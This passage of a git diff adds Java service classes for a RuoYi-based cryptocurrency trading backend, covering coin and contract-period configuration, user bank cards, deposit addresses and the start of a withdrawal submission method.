MessageUtils.message("withdraw.refresh"); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSecondPeriodConfigServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSecondPeriodConfigServiceImpl.java new file mode 100644 index 0000000..bf478b8 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSecondPeriodConfigServiceImpl.java @@ -0,0 +1,113 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.util.ArrayList; +import java.util.List; + +import com.ruoyi.bussiness.domain.TSecondPeriodConfig; +import com.ruoyi.bussiness.mapper.TSecondPeriodConfigMapper; +import com.ruoyi.bussiness.service.ITSecondPeriodConfigService; +import com.ruoyi.common.utils.DateUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +/** + * 秒合约币种周期配置Service业务层处理 + * + * @author ruoyi + * @date 2023-07-11 + */ +@Service +public class TSecondPeriodConfigServiceImpl extends ServiceImpl implements ITSecondPeriodConfigService +{ + @Autowired + private TSecondPeriodConfigMapper tSecondPeriodConfigMapper; + + /** + * 查询秒合约币种周期配置 + * + * @param id 秒合约币种周期配置主键 + * @return 秒合约币种周期配置 + */ + @Override + public TSecondPeriodConfig selectTSecondPeriodConfigById(Long id) + { + return tSecondPeriodConfigMapper.selectTSecondPeriodConfigById(id); + } + + /** + * 查询秒合约币种周期配置列表 + * + * @param tSecondPeriodConfig 秒合约币种周期配置 + * @return 秒合约币种周期配置 + */ + @Override + public List selectTSecondPeriodConfigList(TSecondPeriodConfig tSecondPeriodConfig) + { + return tSecondPeriodConfigMapper.selectTSecondPeriodConfigList(tSecondPeriodConfig); + } + + /** + * 新增秒合约币种周期配置 + * + * @param tSecondPeriodConfig 秒合约币种周期配置 + * @return 结果 + */ + @Override + public int insertTSecondPeriodConfig(TSecondPeriodConfig tSecondPeriodConfig) + { + tSecondPeriodConfig.setCreateTime(DateUtils.getNowDate()); + return tSecondPeriodConfigMapper.insertTSecondPeriodConfig(tSecondPeriodConfig); + } + + /** + * 修改秒合约币种周期配置 + * + * @param tSecondPeriodConfig 秒合约币种周期配置 + * @return 结果 + */ + @Override + public int updateTSecondPeriodConfig(TSecondPeriodConfig tSecondPeriodConfig) + { + tSecondPeriodConfig.setUpdateTime(DateUtils.getNowDate()); + return tSecondPeriodConfigMapper.updateTSecondPeriodConfig(tSecondPeriodConfig); + } + + /** + * 批量删除秒合约币种周期配置 + * + * @param ids 需要删除的秒合约币种周期配置主键 + * @return 结果 + */ + @Override + public int deleteTSecondPeriodConfigByIds(Long[] ids) + { + return tSecondPeriodConfigMapper.deleteTSecondPeriodConfigByIds(ids); + } + + /** + * 删除秒合约币种周期配置信息 + * + * @param id 秒合约币种周期配置主键 + * @return 结果 + */ + @Override + public int deleteTSecondPeriodConfigById(Long id) + { + return tSecondPeriodConfigMapper.deleteTSecondPeriodConfigById(id); + } + + @Override + public void copyPeriodMethod(Long id, Long copyId) { + TSecondPeriodConfig tSecondPeriodConfig = new TSecondPeriodConfig(); + tSecondPeriodConfig.setSecondId(copyId); + List copyList =new ArrayList<>(); + List tSecondPeriodConfigs = tSecondPeriodConfigMapper.selectTSecondPeriodConfigList(tSecondPeriodConfig); + for (TSecondPeriodConfig secondPeriodConfig : tSecondPeriodConfigs) { + secondPeriodConfig.setSecondId(id); + secondPeriodConfig.setId(null); + copyList.add(secondPeriodConfig); + } + this.saveBatch(copyList); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSpontaneousCoinServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSpontaneousCoinServiceImpl.java new file mode 100644 index 0000000..c8ab013 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSpontaneousCoinServiceImpl.java @@ -0,0 +1,144 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.util.HashMap; +import java.util.List; +import java.util.Objects; + +import com.ruoyi.bussiness.domain.KlineSymbol; +import com.ruoyi.bussiness.domain.TOwnCoin; +import com.ruoyi.bussiness.mapper.KlineSymbolMapper; +import com.ruoyi.bussiness.mapper.TOwnCoinMapper; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.RedisUtil; +import com.ruoyi.common.utils.SecurityUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TSpontaneousCoinMapper; +import com.ruoyi.bussiness.domain.TSpontaneousCoin; +import com.ruoyi.bussiness.service.ITSpontaneousCoinService; +import org.springframework.transaction.annotation.Transactional; + +import javax.annotation.Resource; + +/** + * 自发币种配置Service业务层处理 + * + * @author ruoyi + * @date 2023-10-08 + */ +@Service +public class TSpontaneousCoinServiceImpl extends ServiceImpl implements ITSpontaneousCoinService +{ + @Autowired + private TSpontaneousCoinMapper tSpontaneousCoinMapper; + @Resource + private TOwnCoinMapper tOwnCoinMapper; + @Resource + private KlineSymbolMapper klineSymbolMapper; + @Resource + private RedisUtil redisUtil; + @Value("${api-redis-stream.names}") + private String redisStreamNames; + /** + * 查询自发币种配置 + * + * @param id 自发币种配置主键 + * @return 自发币种配置 + */ + @Override + public TSpontaneousCoin selectTSpontaneousCoinById(Long id) + { + return tSpontaneousCoinMapper.selectTSpontaneousCoinById(id); + } + + /** + * 查询自发币种配置列表 + * + * @param tSpontaneousCoin 自发币种配置 + * @return 自发币种配置 + */ + @Override + public List selectTSpontaneousCoinList(TSpontaneousCoin tSpontaneousCoin) + { + return tSpontaneousCoinMapper.selectTSpontaneousCoinList(tSpontaneousCoin); + } + + /** + * 新增自发币种配置 + * + * @param tSpontaneousCoin 自发币种配置 + * @return 结果 + */ + @Transactional + @Override + public int insertTSpontaneousCoin(TSpontaneousCoin tSpontaneousCoin) + { + tSpontaneousCoin.setCreateTime(DateUtils.getNowDate()); + tSpontaneousCoin.setCreateBy(SecurityUtils.getUsername()); + tSpontaneousCoin.setUpdateTime(DateUtils.getNowDate()); + tSpontaneousCoin.setUpdateBy(SecurityUtils.getUsername()); + int i = tSpontaneousCoinMapper.insertTSpontaneousCoin(tSpontaneousCoin); + KlineSymbol klineSymbol = new KlineSymbol() + .setSymbol(tSpontaneousCoin.getCoin().toLowerCase()) + .setSlug(tSpontaneousCoin.getCoin().toUpperCase()) + .setLogo(tSpontaneousCoin.getLogo()) + .setMarket("echo") + .setReferMarket(tSpontaneousCoin.getReferMarket()) + .setReferCoin(tSpontaneousCoin.getReferCoin()) + .setProportion(tSpontaneousCoin.getProportion()); + klineSymbolMapper.insert(klineSymbol); + + //监听获取新的kline +// HashMap object = new HashMap<>(); +// object.put(tSpontaneousCoin.getCoin(),tSpontaneousCoin.getReferCoin()+"usdt"); +// redisUtil.addStream(redisStreamNames,object); + return i; + } + + /** + * 修改自发币种配置 + * + * @param tSpontaneousCoin 自发币种配置 + * @return 结果 + */ + @Override + public int updateTSpontaneousCoin(TSpontaneousCoin tSpontaneousCoin) + { + tSpontaneousCoin.setUpdateTime(DateUtils.getNowDate()); + return tSpontaneousCoinMapper.updateTSpontaneousCoin(tSpontaneousCoin); + } + + /** + * 批量删除自发币种配置 + * + * @param ids 需要删除的自发币种配置主键 + * @return 结果 + */ + @Override + public int deleteTSpontaneousCoinByIds(Long[] ids) + { + return tSpontaneousCoinMapper.deleteTSpontaneousCoinByIds(ids); + } + + /** + * 删除自发币种配置信息 + * + * @param id 自发币种配置主键 + * @return 结果 + */ + @Transactional + @Override + public int deleteTSpontaneousCoinById(Long id) + { + TSpontaneousCoin tSpontaneousCoin = tSpontaneousCoinMapper.selectById(id); + if (Objects.nonNull(tSpontaneousCoin)){ + klineSymbolMapper.delete(new LambdaQueryWrapper() + .eq(KlineSymbol::getSymbol, tSpontaneousCoin.getCoin()) + .eq(KlineSymbol::getMarket, "echo")); + } + return tSpontaneousCoinMapper.deleteTSpontaneousCoinById(id); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSymbolManageServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSymbolManageServiceImpl.java new file mode 100644 index 0000000..1e41595 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSymbolManageServiceImpl.java @@ -0,0 +1,165 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.net.URISyntaxException; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; + +import com.ruoyi.bussiness.domain.KlineSymbol; +import com.ruoyi.bussiness.domain.TSymbolManage; +import com.ruoyi.bussiness.mapper.KlineSymbolMapper; +import com.ruoyi.bussiness.mapper.TSymbolManageMapper; +import com.ruoyi.bussiness.service.ITSymbolManageService; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.RedisUtil; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.socket.service.MarketThread; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Service; +import org.springframework.util.CollectionUtils; + +import javax.annotation.Resource; + +/** + * 币种管理Service业务层处理 + * + * @author ruoyi + * @date 2023-07-12 + */ +@Service +public class TSymbolManageServiceImpl extends ServiceImpl implements ITSymbolManageService +{ + @Resource + private TSymbolManageMapper tSymbolManageMapper; + @Resource + private KlineSymbolMapper klineSymbolMapper; + @Resource + private RedisUtil redisUtil; + @Value("${api-redis-stream.names}") + private String redisStreamNames; + + /** + * 查询币种管理 + * + * @param id 币种管理主键 + * @return 币种管理 + */ + @Override + public TSymbolManage selectTSymbolManageById(Long id) + { + return tSymbolManageMapper.selectTSymbolManageById(id); + } + + /** + * 查询币种管理列表 + * + * @param tSymbolManage 币种管理 + * @return 币种管理 + */ + @Override + public List selectTSymbolManageList(TSymbolManage tSymbolManage) + { + return tSymbolManageMapper.selectTSymbolManageList(tSymbolManage); + } + + /** + * 新增币种管理 + * + * @param tSymbolManage 币种管理 + * @return 结果 + */ + @Override + public int insertTSymbolManage(TSymbolManage tSymbolManage) + { + tSymbolManage.setCreateTime(DateUtils.getNowDate()); + tSymbolManage.setDelFlag("0"); + tSymbolManage.setSymbol(tSymbolManage.getSymbol().toLowerCase()); + List kList = klineSymbolMapper.selectList(new LambdaQueryWrapper().eq(KlineSymbol::getSymbol, tSymbolManage.getSymbol().toUpperCase())); + if (!CollectionUtils.isEmpty(kList)){ + tSymbolManage.setLogo(kList.get(0).getLogo()); + } + int i = tSymbolManageMapper.insertTSymbolManage(tSymbolManage); + HashMap object = new HashMap<>(); + object.put("add_coin",tSymbolManage.getSymbol()); + redisUtil.addStream(redisStreamNames,object); + return i; + } + + /** + * 修改币种管理 + * + * @param tSymbolManage 币种管理 + * @return 结果 + */ + @Override + public int updateTSymbolManage(TSymbolManage tSymbolManage) + { + tSymbolManage.setUpdateTime(DateUtils.getNowDate()); + tSymbolManage.setSymbol(tSymbolManage.getSymbol().toLowerCase()); + List kList = klineSymbolMapper.selectList(new LambdaQueryWrapper().eq(KlineSymbol::getSymbol, tSymbolManage.getSymbol().toUpperCase())); + if (!CollectionUtils.isEmpty(kList)){ + tSymbolManage.setLogo(kList.get(0).getLogo()); + } + + return tSymbolManageMapper.updateTSymbolManage(tSymbolManage); + } + + /** + * 批量删除币种管理 + * + * @param ids 需要删除的币种管理主键 + * @return 结果 + */ + @Override + public int deleteTSymbolManageByIds(Long[] ids) + { + return tSymbolManageMapper.deleteTSymbolManageByIds(ids); + } + + /** + * 删除币种管理信息 + * + * @param id 币种管理主键 + * @return 结果 + */ + @Override + public int deleteTSymbolManageById(Long id) + { + return tSymbolManageMapper.deleteTSymbolManageById(id); + } + + @Override + public List selectSymbolList(TSymbolManage tSymbolManage) { + return tSymbolManageMapper.selectSymbolList(tSymbolManage); + } + + @Override + public boolean addBatch(String[] symbols) { + List list = new ArrayList(); + for (int i = 0; i < symbols.length; i++) { + List kList = klineSymbolMapper.selectList(new LambdaQueryWrapper().eq(KlineSymbol::getSymbol, symbols[i].toUpperCase())); + TSymbolManage tSymbolManage = new TSymbolManage(); + tSymbolManage.setSymbol(symbols[i]); + tSymbolManage.setEnable("1"); + tSymbolManage.setMinChargeNum(BigDecimal.ONE); + tSymbolManage.setMaxChargeNum(new BigDecimal("100000")); + tSymbolManage.setCommission(new BigDecimal("0.1")); + tSymbolManage.setSort(0); + tSymbolManage.setDelFlag("0"); + if (!CollectionUtils.isEmpty(kList)){ + tSymbolManage.setLogo(kList.get(0).getLogo()); + } + tSymbolManage.setCreateBy(SecurityUtils.getUsername()); + tSymbolManage.setUpdateBy(SecurityUtils.getUsername()); + tSymbolManage.setCreateTime(DateUtils.getNowDate()); + tSymbolManage.setUpdateTime(DateUtils.getNowDate()); + list.add(tSymbolManage); + } + + return this.saveBatch(list); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSymbolsServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSymbolsServiceImpl.java new file mode 100644 index 0000000..b77e8c2 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSymbolsServiceImpl.java @@ -0,0 +1,93 @@ +package com.ruoyi.bussiness.service.impl; + +import java.util.List; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TSymbolsMapper; +import com.ruoyi.bussiness.domain.TSymbols; +import com.ruoyi.bussiness.service.ITSymbolsService; + +/** + * 支持币种Service业务层处理 + * + * @author ruoyi + * @date 2023-06-26 + */ +@Service +public class TSymbolsServiceImpl implements ITSymbolsService +{ + @Autowired + private TSymbolsMapper tSymbolsMapper; + + /** + * 查询支持币种 + * + * @param slug 支持币种主键 + * @return 支持币种 + */ + @Override + public TSymbols selectTSymbolsBySlug(String slug) + { + return tSymbolsMapper.selectTSymbolsBySlug(slug); + } + + /** + * 查询支持币种列表 + * + * @param tSymbols 支持币种 + * @return 支持币种 + */ + @Override + public List selectTSymbolsList(TSymbols tSymbols) + { + return tSymbolsMapper.selectTSymbolsList(tSymbols); + } + + /** + * 新增支持币种 + * + * @param tSymbols 支持币种 + * @return 结果 + */ + @Override + public int insertTSymbols(TSymbols tSymbols) + { + return tSymbolsMapper.insertTSymbols(tSymbols); + } + + /** + * 修改支持币种 + * + * @param tSymbols 支持币种 + * @return 结果 + */ + @Override + public int updateTSymbols(TSymbols tSymbols) + { + return tSymbolsMapper.updateTSymbols(tSymbols); + } + + /** + * 批量删除支持币种 + * + * @param slugs 需要删除的支持币种主键 + * @return 结果 + */ + @Override + public int deleteTSymbolsBySlugs(String[] slugs) + { + return tSymbolsMapper.deleteTSymbolsBySlugs(slugs); + } + + /** + * 删除支持币种信息 + * + * @param slug 支持币种主键 + * @return 结果 + */ + @Override + public int deleteTSymbolsBySlug(String slug) + { + return tSymbolsMapper.deleteTSymbolsBySlug(slug); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TUserBankServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TUserBankServiceImpl.java new file mode 100644 index 0000000..14fb678 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TUserBankServiceImpl.java @@ -0,0 +1,96 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import java.util.List; +import com.ruoyi.common.utils.DateUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TUserBankMapper; +import com.ruoyi.bussiness.domain.TUserBank; +import com.ruoyi.bussiness.service.ITUserBankService; + +/** + * 银行卡Service业务层处理 + * + * @author ruoyi + * @date 2023-08-21 + */ +@Service +public class TUserBankServiceImpl extends ServiceImpl implements ITUserBankService +{ + @Autowired + private TUserBankMapper tUserBankMapper; + + /** + * 查询银行卡 + * + * @param id 银行卡主键 + * @return 银行卡 + */ + @Override + public TUserBank selectTUserBankById(Long id) + { + return tUserBankMapper.selectTUserBankById(id); + } + + /** + * 查询银行卡列表 + * + * @param tUserBank 银行卡 + * @return 银行卡 + */ + @Override + public List selectTUserBankList(TUserBank tUserBank) + { + return tUserBankMapper.selectTUserBankList(tUserBank); + } + + /** + * 新增银行卡 + * + * @param tUserBank 银行卡 + * @return 结果 + */ + @Override + public int insertTUserBank(TUserBank tUserBank) + { + tUserBank.setCreateTime(DateUtils.getNowDate()); + return tUserBankMapper.insertTUserBank(tUserBank); + } + + /** + * 修改银行卡 + * + * @param tUserBank 银行卡 + * @return 结果 + */ + @Override + public int updateTUserBank(TUserBank tUserBank) + { + tUserBank.setUpdateTime(DateUtils.getNowDate()); + return tUserBankMapper.updateTUserBank(tUserBank); + } + + /** + * 批量删除银行卡 + * + * @param ids 需要删除的银行卡主键 + * @return 结果 + */ + @Override + public int deleteTUserBankByIds(Long[] ids) + { + return tUserBankMapper.deleteTUserBankByIds(ids); + } + + /** + * 删除银行卡信息 + * + * @param id 银行卡主键 + * @return 结果 + */ + @Override + public int deleteTUserBankById(Long id) + { + return tUserBankMapper.deleteTUserBankById(id); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TUserSymbolAddressServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TUserSymbolAddressServiceImpl.java new file mode 100644 index 0000000..1c55da2 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TUserSymbolAddressServiceImpl.java @@ -0,0 +1,184 @@ +package com.ruoyi.bussiness.service.impl; + +import com.alibaba.fastjson.JSONObject; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import com.ruoyi.bussiness.domain.TUserSymbolAddress; +import com.ruoyi.bussiness.domain.setting.ThirdPaySetting; +import com.ruoyi.bussiness.mapper.TUserSymbolAddressMapper; +import com.ruoyi.bussiness.service.ITUserSymbolAddressService; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.bussiness.service.ThirdPayFactory; +import com.ruoyi.bussiness.service.ThirdPayService; +import com.ruoyi.common.enums.ThirdTypeUncEmun; +import com.ruoyi.common.utils.StringUtils; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +/** + * 用户币种充值地址Service业务层处理 + * + * @author ruoyi + * @date 2023-07-12 + */ +@Service +@Slf4j +public class TUserSymbolAddressServiceImpl extends ServiceImpl implements ITUserSymbolAddressService { + @Autowired + private TUserSymbolAddressMapper tUserSymbolAddressMapper; + + @Autowired + private SettingService settingService; + /** + * 查询用户币种充值地址 + * + * @param id 用户币种充值地址主键 + * @return 用户币种充值地址 + */ + @Override + public TUserSymbolAddress selectTUserSymbolAddressById(Long id) { + return tUserSymbolAddressMapper.selectTUserSymbolAddressById(id); + } + + /** + * 查询用户币种充值地址列表 + * + * @param tUserSymbolAddress 用户币种充值地址 + * @return 用户币种充值地址 + */ + @Override + public List selectTUserSymbolAddressList(TUserSymbolAddress tUserSymbolAddress) { + return tUserSymbolAddressMapper.selectTUserSymbolAddressList(tUserSymbolAddress); + } + + /** + * 新增用户币种充值地址 + * + * @param tUserSymbolAddress 用户币种充值地址 + * @return 结果 + */ + @Override + public int insertTUserSymbolAddress(TUserSymbolAddress tUserSymbolAddress) { + int count = tUserSymbolAddressMapper.selectCount(new LambdaQueryWrapper().eq(TUserSymbolAddress::getSymbol, tUserSymbolAddress.getSymbol()).eq(TUserSymbolAddress::getUserId,tUserSymbolAddress.getUserId())); + if (count > 0) { + return 10001; + } + return tUserSymbolAddressMapper.insertTUserSymbolAddress(tUserSymbolAddress); + } + + /** + * 修改用户币种充值地址 + * + * @param tUserSymbolAddress 用户币种充值地址 + * @return 结果 + */ + @Override + public int updateTUserSymbolAddress(TUserSymbolAddress tUserSymbolAddress) { + return tUserSymbolAddressMapper.updateTUserSymbolAddress(tUserSymbolAddress); + } + + /** + * 批量删除用户币种充值地址 + * + * @param ids 需要删除的用户币种充值地址主键 + * @return 结果 + */ + @Override + public int deleteTUserSymbolAddressByIds(Long[] ids) { + return tUserSymbolAddressMapper.deleteTUserSymbolAddressByIds(ids); + } + + /** + * 删除用户币种充值地址信息 + * + * @param id 用户币种充值地址主键 + * @return 结果 + */ + @Override + public int deleteTUserSymbolAddressById(Long id) { + return tUserSymbolAddressMapper.deleteTUserSymbolAddressById(id); + } + + @Override + public Map getUserRechargeAdressList(Long userId) { + TUserSymbolAddress tUserSymbolAddress = new TUserSymbolAddress(); + tUserSymbolAddress.setUserId(userId); + List list = tUserSymbolAddressMapper.selectTUserSymbolAddressList(tUserSymbolAddress); + Map map = new HashMap<>(); + if(Objects.isNull(list)){ + return map; + } + for (TUserSymbolAddress userSymbolAddress : list) { + map.put(userSymbolAddress.getSymbol(), userSymbolAddress.getAddress()); + } + return map; + } + + public Map getAdredssByCoin(String coin, String symbol, Long userId) { + Map map=new HashMap<>(); + //301 U盾 + ThirdPaySetting setting= settingService.getThirdPaySetting(ThirdTypeUncEmun.UNCDUN.getValue()); + if(Objects.isNull(setting)){ + log.info("查询U盾地址为空 采取自动配置"); + TUserSymbolAddress tUserSymbolAddress = new TUserSymbolAddress(); + tUserSymbolAddress.setUserId(userId); + tUserSymbolAddress.setSymbol(symbol); + List list = tUserSymbolAddressMapper.selectTUserSymbolAddressList(tUserSymbolAddress); + for (TUserSymbolAddress userSymbolAddress : list) { + map.put(userSymbolAddress.getSymbol(), userSymbolAddress.getAddress()); + } + return map; + } + ThirdPayService thirdPayService = ThirdPayFactory.getThirdpay(setting.getCompanyName()); + try { + int count = tUserSymbolAddressMapper.selectCount(new LambdaQueryWrapper().eq(TUserSymbolAddress::getSymbol, symbol).eq(TUserSymbolAddress::getUserId, userId)); + if (count == 0) { + if("0".equals(setting.getThirdPayStatu())){ + JSONObject jsonObject = thirdPayService.createAdress(coin,symbol,userId,setting); + String adress= jsonObject.getString("adress"); + if (StringUtils.isEmpty(adress)) { + return map; + } + TUserSymbolAddress btcAddress = new TUserSymbolAddress(); + btcAddress.setAddress(adress); + btcAddress.setUserId(userId); + btcAddress.setSymbol(symbol); + this.insertTUserSymbolAddress(btcAddress); + map.put(symbol,adress); + } + return map; + }else { + TUserSymbolAddress userSymbolAddress= tUserSymbolAddressMapper.selectOne(new LambdaQueryWrapper().eq(TUserSymbolAddress::getSymbol, symbol).eq(TUserSymbolAddress::getUserId, userId)); + if(Objects.nonNull(userSymbolAddress)){ + map.put(userSymbolAddress.getSymbol(),userSymbolAddress.getAddress()); + return map; + } + } + + }catch (Exception e){ + e.printStackTrace(); + } + return map; + } + + @Override + public boolean check(String symbol, String adress) { + ThirdPaySetting setting= settingService.getThirdPaySetting(ThirdTypeUncEmun.UNCDUN.getValue()); + if(Objects.isNull(setting)){ + return false; + } + ThirdPayService thirdPayService = ThirdPayFactory.getThirdpay(setting.getCompanyName()); + return thirdPayService.existAdress(symbol,adress,setting); + } + + @Override + public ThirdPaySetting getThirdPaySetting(String code) { + return settingService.getThirdPaySetting("301"); + } + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TWithdrawServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TWithdrawServiceImpl.java new file mode 100644 index 0000000..3fdb846 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TWithdrawServiceImpl.java @@ -0,0 +1,536 @@ +package com.ruoyi.bussiness.service.impl; + +import cn.dev33.satoken.stp.StpUtil; +import cn.hutool.core.date.DateUtil; +import cn.hutool.json.JSONUtil; +import com.alibaba.fastjson.JSON; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.domain.setting.AddMosaicSetting; +import com.ruoyi.bussiness.domain.setting.AuthLimitSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.domain.setting.TRechargeChannelSetting; +import com.ruoyi.bussiness.domain.vo.WithdrawFreezeVO; +import com.ruoyi.bussiness.mapper.TAppUserDetailMapper; +import com.ruoyi.bussiness.mapper.TAppUserMapper; +import com.ruoyi.bussiness.mapper.TWithdrawMapper; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.core.domain.entity.SysDictData; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.*; +import com.ruoyi.common.utils.*; +import com.ruoyi.socket.dto.NoticeVO; +import com.ruoyi.system.service.ISysDictTypeService; +import com.ruoyi.system.service.ISysUserService; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.transaction.interceptor.TransactionAspectSupport; +import org.springframework.util.CollectionUtils; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.sql.SQLOutput; +import java.util.*; +import java.util.concurrent.atomic.AtomicReference; + +/** + * 用户提现Service业务层处理 + * + * @author ruoyi + * @date 2023-07-04 + */ +@Service +@Slf4j +public class TWithdrawServiceImpl extends ServiceImpl implements ITWithdrawService { + @Resource + private TWithdrawMapper tWithdrawMapper; + @Resource + private ITAppAssetService tAppAssetService; + @Resource + private TAppUserMapper tAppUserMapper; + @Resource + private TAppUserDetailMapper tAppUserDetailMapper; + @Resource + private ITAppRechargeService appRechargeService; + @Resource + private RedisCache redisCache; + @Resource + private ITAppWalletRecordService appWalletRecordService; + @Resource + private SettingService settingService; + @Resource + private ISysUserService sysUserService; + @Resource + private ISysDictTypeService sysDictTypeService; + + @Resource + private RedisUtil redisUtil; + @Value("${admin-redis-stream.names}") + private String redisStreamNames; + + /** + * 查询用户提现 + * + * @param id 用户提现主键 + * @return 用户提现 + */ + @Override + public TWithdraw selectTWithdrawById(Long id) { + return tWithdrawMapper.selectTWithdrawById(id); + } + + /** + * 查询用户提现列表 + * + * @param tWithdraw 用户提现 + * @return 用户提现 + */ + @Override + public List selectTWithdrawList(TWithdraw tWithdraw) { + return tWithdrawMapper.selectTWithdrawList(tWithdraw); + } + + /** + * 新增用户提现 + * + * @param tWithdraw 用户提现 + * @return 结果 + */ + @Override + public int insertTWithdraw(TWithdraw tWithdraw) { + tWithdraw.setCreateTime(DateUtils.getNowDate()); + return tWithdrawMapper.insertTWithdraw(tWithdraw); + } + + /** + * 修改用户提现 + * + * @param tWithdraw 用户提现 + * @return 结果 + */ + @Override + public int updateTWithdraw(TWithdraw tWithdraw) { + tWithdraw.setUpdateTime(DateUtils.getNowDate()); + return tWithdrawMapper.updateTWithdraw(tWithdraw); + } + + /** + * 批量删除用户提现 + * + * @param ids 需要删除的用户提现主键 + * @return 结果 + */ + @Override + public int deleteTWithdrawByIds(Long[] ids) { + return tWithdrawMapper.deleteTWithdrawByIds(ids); + } + + /** + * 删除用户提现信息 + * + * @param id 用户提现主键 + * @return 结果 + */ + @Override + public int deleteTWithdrawById(Long id) { + return tWithdrawMapper.deleteTWithdrawById(id); + } + + + @Override + public String submit(BigDecimal amount, String coinType, String pwd, String adress, String coin) { + log.info("用户提现入参:amount:{},coinType:{},adress:{},coin:{},",amount,coinType,adress,coin); + if(StringUtils.isEmpty(adress) || adress.trim().contains(" ")){ + return MessageUtils.message("withdraw.address.isnull"); + } + if(StringUtils.isEmpty(coin)){ + coin = coinType.toLowerCase().replace("-erc","").replace("-trc","").trim(); + } + Long userId = StpUtil.getLoginIdAsLong(); + log.info("提现userId"+userId); + log.info("id============="+userId); + TAppUser user = tAppUserMapper.selectTAppUserByUserId(userId); + TAppUserDetail tAppUserDetail = tAppUserDetailMapper.selectOne(new LambdaQueryWrapper().eq(TAppUserDetail::getUserId, userId)); + //资产 + Map assetMap = tAppAssetService.getAssetByUserIdList(userId); + //实名认证限额 效验 + Boolean flag = true; + Setting authSetting = settingService.get(SettingEnum.AUTH_LIMIT.name()); + if (null != authSetting) { + AuthLimitSetting authLimitSetting = JSONUtil.toBean(authSetting.getSettingValue(), AuthLimitSetting.class); + if ((Objects.nonNull(authLimitSetting.getIsOpenSenior()) && authLimitSetting.getIsOpenSenior()) || (Objects.nonNull(authLimitSetting.getIsOpenPrimary()) && authLimitSetting.getIsOpenPrimary())) { + BigDecimal amountHs; + TAppAsset tAppAsset = assetMap.get(coin + userId); + if (Objects.nonNull(tAppAsset)){ + if ("usdt".equals(coin.toLowerCase())){ + amountHs = amount; + }else{ + BigDecimal currencyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + coin.toLowerCase()); + amountHs = amount.multiply(currencyPrice); + } + }else{ + amountHs = amount; + } +// else{ +// BigDecimal currencyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + coin.toUpperCase()+"USD"); +// if (Objects.isNull(currencyPrice)){ +// currencyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + "USD"+coin.toUpperCase()); 